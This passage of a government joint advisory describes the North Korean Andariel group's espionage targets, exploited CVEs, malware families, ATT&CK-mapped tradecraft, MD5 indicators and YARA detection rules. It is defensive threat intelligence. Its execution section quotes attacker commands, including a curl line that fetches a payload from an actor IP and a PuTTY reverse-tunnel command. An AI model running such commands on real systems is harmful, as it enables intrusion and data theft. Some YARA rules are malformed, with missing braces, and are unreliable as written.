Table 1. Andariel Cyber Espionage Victimology

Industry 
Information Targeted

Defense

Heavy and light tanks and self-propelled howitzers
Light strike vehicles and ammunition supply vehicles
Littoral combat ships and combatant craft
Submarines, torpedoes, unmanned underwater vehicles (UUVs), and autonomous underwater vehicles (AUVs)
Modeling and simulation services

Aerospace

Fighter aircraft and unmanned aerial vehicles (UAVs)
Missiles and missile defense systems
Satellites, satellite communications, and nano-satellite technology
Surveillance radar, phased-array radar, and other radar systems

Nuclear

Uranium processing and enrichment
Material waste and storage
Nuclear power plants
Government nuclear facilities and research institutes

Engineering

Shipbuilding and marine engineering
Robot machinery and mechanical arms
Additive manufacturing and 3D printing components and technology
Casting, fabrication, high-heat metal molding, and rubber and plastic molding
Machining processes and technology

The information targeted—such as contract specifications, bills of materials, project details, design drawings, and engineering documents—has military and civilian applications and leads the authoring agencies to assess one of the group’s chief responsibilities as satisfying collection requirements for Pyongyang’s nuclear and defense programs.

Ransomware

Andariel actors fund their espionage activity through ransomware operations against U.S. healthcare entities, and in some instances, the authoring agencies have observed the actors launching ransomware attacks and conducting cyber espionage operations on the same day and/or leveraging ransomware and cyber espionage against the same entity. For more information on this ransomware activity, see joint advisories #StopRansomware: Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities and North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and Public Health Sector.

Malicious Cyber Espionage Activity

This advisory uses the MITRE ATT&CK for Enterprise framework, version 15. See the Appendix: MITRE ATT&CK Techniques for all referenced tactics and techniques.

Reconnaissance and Enumeration

While there is limited available information on the group’s initial reconnaissance methods, the actors likely identify vulnerable systems using publicly available internet scanning tools that reveal information such as vulnerabilities in public-facing web servers [T1595, T1592]. The actors gather open source information about their victims for use in targeting [T1591] and research Common Vulnerabilities and Exposures (CVEs) when published to the National Institute of Standards and Technology (NIST) National Vulnerability Database [T1596]. CVEs researched include:

CVE-2023-46604 – Apache ActiveMQ
CVE-2023-42793 – TeamCity 
CVE-2023-3519 – Citrix NetScaler
CVE-2023-35078 – Ivanti Endpoint Manager Mobile (EPMM) 
CVE-2023-34362 – MOVEIt 
CVE-2023-33246 – RocketMQ 
CVE-2023-32784 – KeePass 
CVE-2023-32315 – Openfire 
CVE-2023-3079 – Google Chromium V8 Type Confusion
CVE-2023-28771 and CVE-2023-33010 – Zyxell firmware
CVE-2023-2868 – Barracuda Email Security Gateway
CVE-2023-27997 – FortiGate SSL VPN 
CVE-2023-25690 – Apache HTTP Server
CVE-2023-21932 – Oracle Hospitality Opera 5
CVE-2023-0669 – GoAnywhere MFT
CVE-2022-47966 – ManageEngine 
CVE-2022-41352 and CVE-2022-27925 – Zimbra Collaboration Suite
CVE-2022-30190 – Microsoft Windows Support Diagnostic Tool
CVE-2022-25064 – TP-LINK 
CVE-2022-24990 and CVE-2021-45837 – TerraMaster NAS
CVE-2022-24785 – Moment.js 
CVE-2022-24665, CVE-2022-24664, and CVE-2022-24663 – PHP Everywhere 
CVE-2022-22965 – Spring4Shell
CVE-2022-22947 – Spring Cloud Gateway 
CVE-2022-22005 – Microsoft SharePoint Server 
CVE-2022-21882 – Win32k Elevation of Privilege 
CVE-2021-44228 – Apache Log4j 
CVE-2021-44142 – Samba vfs_fruit module 
CVE-2021-43226, CEV-2021-43207, CVE-2021-36955 – Windows log file vulnerabilities
CVE-2021-41773 – Apache HTTP Server 2.4.49
CVE-2021-40684 – Talend ESB Runtime 
CVE-2021-3018 – IPeakCMS 3.5 
CVE-2021-20038 – SMA100 Apache httpd server (SonicWall) 
CVE-2021-20028 – SonicWall Secure Remote Access (SRA) 
CVE-2019-15637 – Tableau 
CVE-2019-7609 – Kibana
CVE-2019-0708 – Microsoft Remote Desktop Services 
CVE-2017-4946 – VMware V4H and V4PA

Resource Development, Tooling, and Remote Access Tools

The actors leverage custom tools and malware for discovery and execution. Over the last 15 years, the group has developed RATs, including the following, to permit remote access and manipulation of systems and lateral movement.

Atharvan
ELF Backdoor
Jupiter
MagicRAT
“No Pineapple”
TigerRAT
Valefor/VSingle
ValidAlpha
YamaBot
NukeSped
Goat RAT
Black RAT
AndarLoader
DurianBeacon
Trifaux
KaosRAT
Preft
Andariel Scheduled Task Malware
BottomLoader (see Cisco Talos blog Operation Blacksmith)
NineRAT (see Cisco Talos blog Operation Blacksmith)
DLang (see Cisco Talos blog Operation Blacksmith)
Nestdoor (see AhnLab blog)

These tools include functionality for executing arbitrary commands, keylogging, screenshots, listing files and directories, browser history retrieval, process snooping, creating and writing to files, capturing network connections, and uploading content to command and control (C2) [T1587.001, T1587.004]. The tools allow the actors to maintain access to the victim system with each implant having a designated C2 node.

Commodity Malware

Commodity malware is malicious software widely available for purchase or use and is leveraged by numerous different threat actors. The use of publicly available malware enables the actors to conceal and obfuscate their identities and leads to attribution problems. The authoring agencies are reliant on the use of custom malware and loaders, along with overlapping C2 nodes to attribute commodity malware to the actors. The actors have at times achieved great success leveraging just open source malware. The authoring agencies have identified the following open-source tools as used and/or customized by the actors:

3Proxy [T1090]
AdFind [S0552]
AsyncRAT
DeimosC2
Impacket [T1090]
Juggernaut [T1040]
Lilith RAT
ORVX Web Shell
Mimikatz [S0002]
PLINK [T1572]
ProcDump [T1003]
PuTTY [T1572]
SOCKS5 [T1090]
Stunnel [T1572] 
Web Shell by Orb (WSO)
WinRAR [T1560]
WinSCP [T1048]
RDP Wrapper [T1572]

Initial Access

The actors gain initial access through widespread exploitation of web servers through known vulnerabilities, such as CVE-2021-44228 (“Log4Shell”) in Apache’s Log4j software library and other CVEs listed above, to deploy web shells and gain access to sensitive information and applications for further exploitation. The actors continue to breach organizations by exploiting web server vulnerabilities in public-facing devices and have conducted widespread activity against a number of different organizations simultaneously [T1190].

Execution

The actors are well-versed in using native tools and processes on systems, known as living off the land (LOTL). They use Windows command line, PowerShell, Windows Management Instrumentation command line (WMIC), and Linux bash, for system, network, and account enumeration. While individual commands typically vary, the authoring agencies assess the actors prefer netstat commands, such as netstat –naop and netstat –noa [T1059]. Example commands used by the actors include the following:

netstat –naop 
netstat –noa
pvhost.exe -N -R [IP Address]:[Port] -P [Port] -l [username] -pw [password] <Remote_IP>
curl hxxp[://][IP Address]/tmp/tmp/comp[.]dat -o c:userspublicnotify[.]exe
C:windowssystem32cmd.exe /c systeminfo | findstr Logon

These actors often make typos and other mistakes, indicating that the commands are not directly copied from a playbook and the actors have a flexible and impromptu approach. The typos also illustrate a poor grasp of the English language, including common errors such as “Microsoft Cooperation” (rather than “Microsoft Corporation”) found across numerous RGB 3rd Bureau malware samples.

Defense Evasion

The actors routinely pack late-stage tooling in VMProtect and Themida. Malicious tooling packed with these and other commercial tools have advanced anti-debugging and detection capabilities. These files are typically multiple megabytes in size and often contain unusual file section names such as vmp0 and vmp1 for VMProtect and Themida or randomized file section names for Themida [T1027].

Credential Access

The actors employ a multi-pronged approach to stealing credentials to gain additional access to systems, including the use of publicly available credential theft tools such as Mimikatz, ProcDump, and Dumpert and accessing the Active Directory domain database through targeting of the NTDS.dit file. The authoring agencies assess the actors change settings on compromised systems to force the system to store credentials and then use the aforementioned tools to steal credentials. In one instance, the actors used the vssadmin command-line utility to back up a volume to retrieve a copy of the NTDS.dit file containing Active Directory data. In another instance, the actors were observed collecting registry hive data for offline extraction of credentials [T1003].

Discovery

The actors used customized file system enumeration tooling written in .NET. The tool is capable of receiving and executing command line arguments to enumerate directories and files and compress output files. The tool collects the following information for each drive targeted on a system: depth relative to starting path, name, last write time, last access time, creation time, size, and attributes [T1087, T1083]. 

The actors also enumerate directories and files of connected devices using Server Message Block (SMB) protocol, which enables network file sharing and the ability to request services and programs from a network [T1021.002].

Lateral Movement

The actors also use system logging for discovery to move laterally. The group logs active window changes, clipboard data, and keystrokes and saves the collected logging information to the %Temp% directory.

The actors have also used Remote Desktop Protocol (RDP) to move laterally [T1021].

Command and Control

The actors leverage techniques and infrastructure positioned around the world to send commands to compromised systems. The actors disguise their malware within HTTP packets to appear as benign network traffic. They also use tunneling tools such as 3Proxy, PLINK, and Stunnel as well as custom proxy tunneling tools to tunnel traffic over a variety of protocols from inside a network back to a C2 server. Tunneling enables the actors to perform C2 operations despite network configurations that would typically pose a challenge, such as the use of Network Address Translation (NAT) or traffic funneled through a web proxy [T1090, T1071].

Collection and Exfiltration

Malware previously used by the actors permitted placement and access to search through files that could be of interest, including scanning computer files for keywords related to defense and military sectors in English and Korean. The actors identify data for theft by enumerating files and folders across many directories and servers using command-line activity or functionality built into custom tools. The actors collect the relevant files into RAR archives, sometimes using a version of WinRAR brought into the victim’s environment with other malicious tooling [T1560, T1039].

The actors typically exfiltrate data to web services such as cloud storage or servers not associated with their primary C2. Notably, the actors have been observed logging into actor-controlled cloud-based storage service accounts directly from victim networks to exfiltrate data [T1567]. The actors have also been observed using the utilities PuTTY and WinSCP to exfiltrate data to North Korea-controlled servers via File Transfer Protocol (FTP) and other protocols [T1048].

The actors have also been identified staging files for exfiltration on victim machines, establishing Remote Desktop Protocol connections, and conducting HTTP GET requests on port 80 to receive information [T1021].

Indicators of Compromise

See below for Andariel IOCs.

The following include observed MD5 hashes:

88a7c84ac7f7ed310b5ee791ec8bd6c5
6ab4eb4c23c9e419fbba85884ea141f4
97ce00c7ef1f7d98b48291d73d900181
079b4588eaa99a1e802adf5e0b26d8aa
0873b5744d8ab6e3fe7c9754cf7761a3
0d696d27bae69a62def82e308d28857a
0ecf4bac2b070cf40f0b17e18ce312e6
17c46ed7b80c2e4dbea6d0e88ea0827c
1f2410c3c25dadf9e0943cd634558800
2968c20a07cfc97a167aa3dd54124cda
33e85d0f3ef2020cdb0fc3c8d80e8e69
4118d9adce7350c3eedeb056a3335346
4aa57e1c66c2e01f2da3f106ed2303fa
58ad3103295afcc22bde8d81e77c282f
5c41cbf8a7620e10f158f6b70963d1cb
61a949553d35f31957db6442f36730c5
72a22afde3f820422cfdbba7a4cbabde
84bd45e223b018e67e4662c057f2c47e
86465d92f0d690b62866f52f5283b9fc
8b395cc6ecdec0900facf6e93ec48fbb
97f352e2808c78eef9b31c758ca13032
a50f3b7aa11b977ae89285b60968aa67
afd25ce56b9808c5ed7eade75d2e12a7
afdeb24975a318fc5f20d9e61422a308
b697b81b341692a0b137b2c748310ea7
bcac28919fa33704a01d7a9e5e3ddf3f
c027d641c4c1e9d9ad048cda2af85db6
c892c60817e6399f939987bd2bf5dee0
cdeae978f3293f4e783761bc61b34810
d0f310c99476f1712ac082f78dd29fdc
d8da33fae924b991b776797ba8cde24c
e230c5728f9ea5a94e390e7da7bf1ffa
f4d46629ca15313b94992f3798718df7
fb84a392601fc19aeb7f8ce11b3a4907
ff3194d3d5810a42858f3e22c91500b1
13b4ce1fc26d400d34ede460a8530d93
41895c5416fdc82f7e0babc6bb6c7216
c2f8c9bb7df688d0a7030a96314bb493
33a3da2de78418b89a603e28a1e8852c
4896da30a745079cd6265b6332886d45
73eb2f4f101aab6158c615094f7a632a
7f33d2d2a2ce9c195202acb59de31eee
e1afd01400ef405e46091e8ef10c721c
fe25c192875ec1914b8880ea3896cda2
232586f8cfe82b80fd0dfa6ed8795c56
c1f266f7ec886278f030e7d7cd4e9131
49bb2ad67a8c5dfbfe8db2169e6fa46e
beb199b15bd075996fa8d6a0ed554ca8
4053ca3e37ed1f8d37b29eed61c2e729
3a0c8ae783116c1840740417c4fbe678
0414a2ab718d44bf6f7103cff287b312
ca564428a29faf1a613f35d9fa36313f
ad6d4eb34d29e350f96dc8df6d8a092e
dc70dc9845aa747001ebf2a02467c203
3d2ec58f37c8176e0dbcc47ff93e5a76
0a09b7f2317b3d5f057180be6b6d0755
1ffccc23fef2964e9b1747098c19d956
9112efb49cae021abebd3e9a564e6ca4
ac0ada011f1544aa3a1cf27a26f2e288
0211a3160cc5871cbcd4e5514449162b
7416ea48102e2715c87edd49ddbd1526
a2aefb7ab6c644aa8eeb482e27b2dbc4
e7fd7f48fbf5635a04e302af50dfb651
33b2b5b7c830c34c688cf6ced287e5be
e5410abaaac69c88db84ab3d0e9485ac
eb35b75369805e7a6371577b1d2c4531
5a3f3f75048b9cec177838fb8b40b945
9d7bd0caed10cc002670faff7ca130f5
8434cdd34425916be234b19f933ad7ea
bbaee4fe73ccff1097d635422fdc0483
79e474e056b4798e0a3e7c60dd67fd28
95c276215dcc1bd7606c0cb2be06bf70
426bb55531e8e3055c942a1a035e46b9
cfae52529468034dbbb40c9a985fa504
deae4be61c90ad6d499f5bdac5dad242
bda0686d02a8b7685adf937cbcd35f46
6de6c27ca8f4e00f0b3e8ff5185a59d1
c61a8c4f6f6870c7ca0013e084b893d2
5291aed100cc48415636c4875592f70c
f4795f7aec4389c8323f7f40b50ae46f
cf1a90e458966bcba8286d46d6ab052c
792370eb01e16ac3dc511143932d0e1d
612538328e0c4f3e445fb58ef811336a
9767aa592ec2d6ae3c7d40b6049d0466
b22fd0604c4f189f2b7a59c8f48882dd
e53ca714787a86c13f07942a56d64efa
c7b09f1dd0a5694de677f3ecceda41b7
c8346b39418f92725719f364068a218d
730bff14e80ffd7737a97cdf11362ab5
9a481bc83fea1dea3e3bdfff5e154d44
ddb1f970371fa32faae61fc5b8423d4b
6c2b947921e7c77d9af62ce9a3ed7621
977d30b261f64cc582b48960909d0a89
7ce51b56a6b0f8f78056ddfc5b5de67c
dd9625be4a1201c6dfb205c12cf3a381
ecb4a09618e2aba77ea37bd011d7d7f7
0fd8c6f56c52c21c061a94e5765b27b4
c90d094a8fbeaa8a0083c7372bfc1897
0055a266aa536b2fdadb3336ef8d4fba
55bb271bbbf19108fec73d224c9b4218
0c046a2f5304ed8d768795a49b99d6e4
f34664e0d9a10974da117c1ca859dba8
a2c2099d503fcc29478205f5aef0283b
e439f850aa8ead560c99a8d93e472225
7c30ed6a612a1fd252565300c03c7523
81738405a7783c09906da5c7212e606b
c027d641c4c1e9d9ad048cda2af85db6
eb7ba9f7424dffdb7d695b00007a3c6d
3e9ee5982e3054dc76d3ba5cc88ae3de
073e3170a8e7537ff985ec8316319351
9b0e7c460a80f740d455a7521f0eada1
2d02f5499d35a8dffb4c8bc0b7fec5c2
0984954526232f7d05910aa5b07c5893
4156a7283284ece739e1bae05f99e17c
3026d419ee140f3c6acd5bff54132795
7aa132c0cc63a38fb4d1789553266fc7
1a0811472fad0ff507a92c957542fffd
f8aef59d0c5afe8df31e11a1984fbc0a
82491b42b9a2d34b13137e36784a67d7
0a199944f757d5615164e8808a3c712a
9c97ea18da290a6833a1d36e2d419efc
16f768eac33f79775a9672018e0d64f5

The following include a list of user agent strings used by the actors:

Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0
Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0

Detection Methods

See Table 2 for YARA rules, created by the FBI, authoring partners, and private industry, that can be used to detect malware used by the actors.

Table 2. YARA Rules

rule Andariel_ScheduledTask_Loader
{
    strings:
        $obfuscation1 = { B8 02 00 00 00 48 6B C0 00 B9 CD FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 01 B9 CC FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 02 B9 8D FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 03 B9 9A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 04 B9 8C FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 05 B9 8A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 06 33 C9 66 89 8C 04 60 01 00 00 }
                             $obfuscation2 = { 48 6B C0 02 C6 44 04 20 BA B8 01 00 00 00 48 6B C0 03 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 04 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 05 C6 44 04 20 8A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 9C B8 01 00 00 00 }
                             $obfuscation3 = { 48 6B C0 00 C6 44 04 20 A8 B8 01 00 00 00 48 6B C0 01 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 02 C6 44 04 20 93 B8 01 00 00 00 48 6B C0 03 C6 44 04 20 96 B8 01 00 00 00 48 6B C0 04 C6 44 04 20 B9 B8 01 00 00 00 48 6B C0 05 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 07 C6 44 04 20 9E B8 01 00 00 00 48 6B C0 08 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 09 C6 44 04 20 8D B8 01 00 00 00 48 6B C0 0A C6 44 04 20 BC B8 01 00 00 00 }
    condition:
        uint16(0) == 0x5A4D and $obfuscation1 and $obfuscation2 and $obfuscation3
}

rule Andariel_KaosRAT_Yamabot
{

    strings:
        $str1 = “/kaos/”
        $str2 = “Abstand [“
        $str3 = “] anwenden”
        $str4 = “cmVjYXB0Y2hh”
        $str5 = “/bin/sh”
        $str6 = “utilities.CIpaddress”
        $str7 = “engine.NewEgg”
        $str8 = “%s%04x%s%s%s”
        $str9 = “Y2FwdGNoYV9zZXNzaW9u”
        $str10 = “utilities.EierKochen”
        $str11 = “kandidatKaufhaus”

    condition:
        3 of them
}

rule TriFaux_EasyRAT_JUPITER
{
    strings:
        $InitOnce = “InitOnceExecuteOnce”
        $BREAK = { 0D 00 0A 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 0D 00 0A }
                             $Bytes = “4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00,” wide
    condition:
        uint16(0) == 0x5a4d and all of them
}

rule Andariel_CutieDrop_MagicRAT
{
              strings:
                             $config_os_w = “os/windows” ascii wide
                             $config_os_l = “os/linux” ascii wide
                             $config_os_m = “os/mac” ascii wide
                             $config_comp_msft = “company/microsoft” ascii wide
                             $config_comp_orcl = “company/oracle” ascii wide
                             $POST_field_1 = “session=” ascii wide
                             $POST_field_2 = “type=” ascii wide
                             $POST_field_3 = “id=” ascii wide
                             $command_misspelled = “renmae” ascii wide
              condition:
                             uint16(0) == 0x5a4d and 7 of them

rule Andariel_hhsd_FileTransferTool
{

    strings:
        // 30 4D C7                xor     [rbp+buffer_v41+3], cl
        // 81 7D C4 22 C0 78 00    cmp      dword ptr [rbp+buffer_v41], 78C022h
        // 44 88 83 00 01 00 00    mov      [rbx+100h], r8b
        $handshake = { 30 ?? ?? 81 7? ?? 22 C0 78 00 4? 88 }
        
        // B1 14                   mov     cl, 14h
        // C7 45 F7 14 00 41 00    mov      [rbp+57h+Src], 410014h
        // C7 45 FB 7A 00 7F 00    mov      [rbp+57h+var_5C], 7F007Ah
        // C7 45 FF 7B 00 63 00    mov     [rbp+57h+var_58], 63007Bh
        // C7 45 03 7A 00 34 00    mov      [rbp+57h+var_54], 34007Ah
        // C7 45 07 51 00 66 00    mov      [rbp+57h+var_50], 660051h
        // C7 45 0B 66 00 7B 00    mov      [rbp+57h+var_4C], 7B0066h
        // C7 45 0F 66 00 00 00    mov      [rbp+57h+var_48], 66h ; ‘f’
        $err_xor_str = { 14 C7 [2] 14 00 41 00 C7 [2] 7A 00 7F 00 C7 [2] 7B 00 63 00 C7 [2] 7A 00 34 00 }
        
        // 41 02 D0                add     dl, r8b
        // 44 02 DA                add     r11b, dl
        // 3C 1F                   cmp     al, 1Fh
        $buf_add_cmp_1f = { 4? 02 ?? 4? 02 ?? 3? 1F }

        // B9 8D 10 B7 F8          mov     ecx, 0F8B7108Dh
        // E8 F1 BA FF FF          call    sub_140001280
        $hash_call_loadlib = { B? 8D 10 B7 F8 E8 }
        $hash_call_unk = { B? 91 B8 F6 88 E8 }
        
    condition:
        uint16(0) == 0x5a4d and
        (any of ($handshake, $err_xor_str, $buf_add_cmp_1f) and any of ($hash_call_*)) or
        2 of ($handshake, $err_xor_str, $buf_add_cmp_1f)

rule Andariel_Atharvan_3RAT
{
strings:
$3RAT = “D:\rang\TOOL\3RAT” 
$atharvan = “Atharvan_dll.pdb”
condition:
uint16(0) == 0x5a4d and any of them
}

rule Andariel_LilithRAT_Variant
{
    strings:
        // The following are strings seen in the open source version of Lilith
        $lilith_1 = “Initiate a CMD session first.” ascii wide
        $lilith_2 = “CMD is not open” ascii wide
        $lilith_3 = “Couldn’t write command” ascii wide
        $lilith_4 = “Couldn’t write to CMD: CMD not open” ascii wide

        // The following are strings that appear to be unique to the Unnamed Trojan based on Lilith
        $unique_1 = “Upload Error!” ascii wide
        $unique_2 = “ERROR: Downloading is already running!” ascii wide
        $unique_3 = “ERROR: Unable to open file:” ascii wide
        $unique_4 = “General error” ascii wide
        $unique_5 = “CMD error” ascii wide
        $unique_6 = “killing self” ascii wide
    condition:
        uint16(0) == 0x5a4d and filesize < 150KB and all of ($lilith_*) and 2 of ($unique_*)
}

rule Andariel_SocksTroy_Strings_OpCodes
{
       strings:
        $strHost = “-host” wide
        $strAuth = “-auth” wide
        $SocksTroy = “SocksTroy” 
        $cOpCodeCheck = { 81 E? A0 00 00 00 0F 84 ?? ?? ?? ?? 83 E? 03 74 ?? 83 E? 02 74 ?? 83 F? 0B }
    condition:
        uint16(0) == 0x5a4d and
        ((1 of ($str*)) and 
        (all of ($c*)) or (all of ($Socks*)))
}

rule Andariel_Agni
{
    strings:
        $xor = { 34 ?? 88 01 48 8D 49 01 0F B6 01 84 C0 75 F1 }
        $stackstrings = {C7 44 24 [5-10] C7 44 24 [5] C7 44 24 [5-10] C7 44 24 [5-10] C7 44 24}
    condition:
        uint16(0) == 0x5a4d and (#xor > 100 and #stackstrings > 5)
}

rule Andariel_GoLang_validalpha_handshake
{
    strings:
        $ = { 66 C7 00 AB CD C6 40 02 EF ?? 03 00 00 00 48 89 C1 ?? 03 00 00 00 }
    condition:
        all of them
}

rule Andariel_GoLang_validalpha_tasks
{
    strings:
        $ = “main.ScreenMonitThread”
        $ = “main.CmdShell”
        $ = “main.GetAllFoldersAndFiles”
        $ = “main.SelfDelete”
    condition:
        all of them
}

rule Andariel_GoLang_validalpha_BlackString
{
    strings:
    $ = “I:/01___Tools/02__RAT/Black”
    condition:
    uint16(0) == 0x5A4D and all of them
}

rule INDICATOR_EXE_Packed_VMProtect {
        strings:
        $s1 = “.vmp0” fullword ascii
        $s2 = “.vmp1” fullword ascii
    condition:
        uint16(0) == 0x5a4d and all of them or
        for any i in (0 .. pe.number_of_sections) : (
            (
                pe.sections[i].name == “.vmp0” or
                pe.sections[i].name == “.vmp1”
            )
        )
}

rule INDICATOR_EXE_Packed_Themida {
        strings:
        $s1 = “.themida” fullword ascii
    condition:
        uint16(0) == 0x5a4d and all of them or
        for any i in (0 .. pe.number_of_sections) : (
            (
                pe.sections[i].name == “.themida”
            )
        )
}

rule Andariel_elf_backdoor_fipps
{
strings:
        $a = “found mac address”
        $b = “RecvThread”
        $c = “OpenSSL-1.0.0-fipps”
        $d = “Disconnected!”
    condition:
        (all of them) and uint32(0) == 0x464c457f
}

rule Andariel_bindshell
{
strings:
 $str_comspec = “COMSPEC”
 $str_consolewindow = “GetConsoleWindow”
 $str_ShowWindow = “ShowWindow”
 $str_WSASocketA = “WSASocketA”
 $str_CreateProcessA = “CreateProcessA”
 $str_port = {B9 4D 05 00 00 89}
condition:
uint16(0) == 0x5A4D and all of them
}

rule Andariel_grease2
{
strings:
 $str_rdpconf = “c: \windows\temp\RDPConf.exe” fullword nocase
 $str_rdpwinst = “c: \windows\temp\RDPWInst.exe” fullword nocase
 $str_net_user = “net user”
 $str_admins_add = “net localgroup administrators”
condition:
uint16(0) == 0x5A4D and
all of them
}

rule Andariel_NoPineapple_Dtrack_unpacked
{
strings:
 $str_nopineapple = “< No Pineapple! >”
 $str_qt_library = “Qt 5.12.10”
 $str_xor = {8B 10 83 F6 ?? 83 FA 01 77}
condition:
uint16(0) == 0x5A4D and
all of them
}

rule Andariel_dtrack_unpacked
{
strings:
 $str_mutex = “MTX_Global”
 $str_cmd_1 = “/c net use \\” wide
 $str_cmd_2 = “/c ping -n 3 127.0.01 > NUL % echo EEE > “%s”” wide
 $str_cmd_3 = “/c move /y %s \\” wide
 $str_cmd_4 = “/c systeminfo > “%s” & tasklist > “%s” & netstat -naop tcp > “%s”” wide
condition:
uint16(0) == 0x5A4D and
all of them
}

rule Andariel_TigerRAT_crowdsourced_rule {
    strings:
        $m1 = “.?AVModuleKeyLogger@@” fullword ascii
        $m2 = “.?AVModulePortForwarder@@” fullword ascii
        $m3 = “.?AVModuleScreenCapture@@” fullword ascii
        $m4 = “.?AVModuleShell@@” fullword ascii
        $s1 = “\x9891-009942-xnopcopie.dat” fullword wide
        $s2 = “(%02d : %02d-%02d %02d:%02d:%02d)— %s[Clipboard]” fullword ascii
        $s3 = “[%02d : %02d-%02d %02d:%02d:%02d]— %s[Title]” fullword ascii
        $s4 = “del “%s”%s “%s” goto ” ascii
        $s5 = “[<<]” fullword ascii
    condition:
        uint16(0) == 0x5a4d and (all of ($s*) or (all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*)))
}

rule win_tiger_rat_auto {
    strings:
        $sequence_0 = { 33c0 89442438 89442430 448bcf 4533c0 }
            // n = 5, score = 200
            //   33c0                 | jmp                 5
            //   89442438             | dec                 eax
            //   89442430             | mov                 eax, ecx
            //   448bcf               | movzx               eax, byte ptr [eax]
            //   4533c0               | dec                 eax

        $sequence_1 = { 41b901000000 488bd6 488bcb e8???????? }
            // n = 4, score = 200
            //   41b901000000         | dec                 eax
            //   488bd6                | mov                 eax, dword ptr [ecx]
            //   488bcb               | jmp                 8
            //   e8????????           |                     

        $sequence_2 = { 4881ec90050000 8b01 8985c8040000 8b4104 }
            // n = 4, score = 200
            //   4881ec90050000       | test                eax, eax
            //   8b01                 | jns                 0x16
            //   8985c8040000         | dec                 eax
            //   8b4104               | mov                 eax, dword ptr [ecx]

        $sequence_3 = { 488b01 ff10 488b4f08 4c8d4c2430 }
            // n = 4, score = 200
            //   488b01               | mov                 edx, esi
            //   ff10                 | dec                 eax
            //   488b4f08             | mov                 ecx, ebx
            //   4c8d4c2430           | inc                 ecx

        $sequence_4 = { 488b01 ff10 488b4e18 488b01 }
            // n = 4, score = 200
            //   488b01               | dec                 eax
            //   ff10                 | cmp                 dword ptr [ecx + 0x18], 0x10
            //   488b4e18             | dec                 eax
            //   488b01               | sub                 esp, 0x590

        $sequence_5 = { 4881eca0000000 33c0 488bd9 488d4c2432 }
            // n = 4, score = 200
            //   4881eca0000000       | mov                 eax, dword ptr [ecx]
            //   33c0                 | mov                 dword ptr [ebp + 0x4c8], eax
            //   488bd9               | mov                 eax, dword ptr [ecx + 4]
            //   488d4c2432           | mov                 dword ptr [ebp + 0x4d0], eax

        $sequence_6 = { 488b01 eb03 488bc1 0fb600 }
            // n = 4, score = 200
            //   488b01               | inc                 ecx
            //   eb03                 | mov                 ebx, dword ptr [ebp + ebp]
            //   488bc1               | inc                 ecx
            //   0fb600               | movups              xmmword ptr [edi], xmm0

        $sequence_7 = { 488b01 8b10 895124 448b4124 4585c0 }
            // n = 5, score = 200
            //   488b01               | sub                 esp, 0x30
            //   8b10                 | dec                 ecx
            //   895124               | mov                 ebx, eax
            //   448b4124             | dec                 eax
            //   4585c0               | mov                 ecx, eax

        $sequence_8 = { 4c8d0d31eb0000 c1e918 c1e808 41bf00000080 }
            // n = 4, score = 100
            //   4c8d0d31eb0000       | jne                 0x1e6
            //   c1e918               | dec                 eax
            //   c1e808               | lea                 ecx, [0xbda0]
            //   41bf00000080         | dec                 esp

        $sequence_9 = { 488bd8 4885c0 752d ff15???????? 83f857 0f85e0010000 488d0da0bd0000 }
            // n = 7, score = 100
            //   488bd8               | dec                 eax
            //   4885c0               | mov                 ebx, eax
            //   752d                 | dec                 eax
            //   ff15????????         |                     
            //   83f857               | test                eax, eax
            //   0f85e0010000         | jne                 0x2f
            //   488d0da0bd0000       | cmp                  eax, 0x57

        $sequence_10 = { 75d4 488d1d7f6c0100 488b4bf8 4885c9 740b }
            // n = 5, score = 100
            //   75d4                 | lea                 ecx, [0xeb31]
            //   488d1d7f6c0100       | shr                 ecx, 0x18
            //   488b4bf8             | shr                 eax, 8
            //   4885c9               | inc                 ecx
            //   740b                 | mov                 edi, 0x80000000

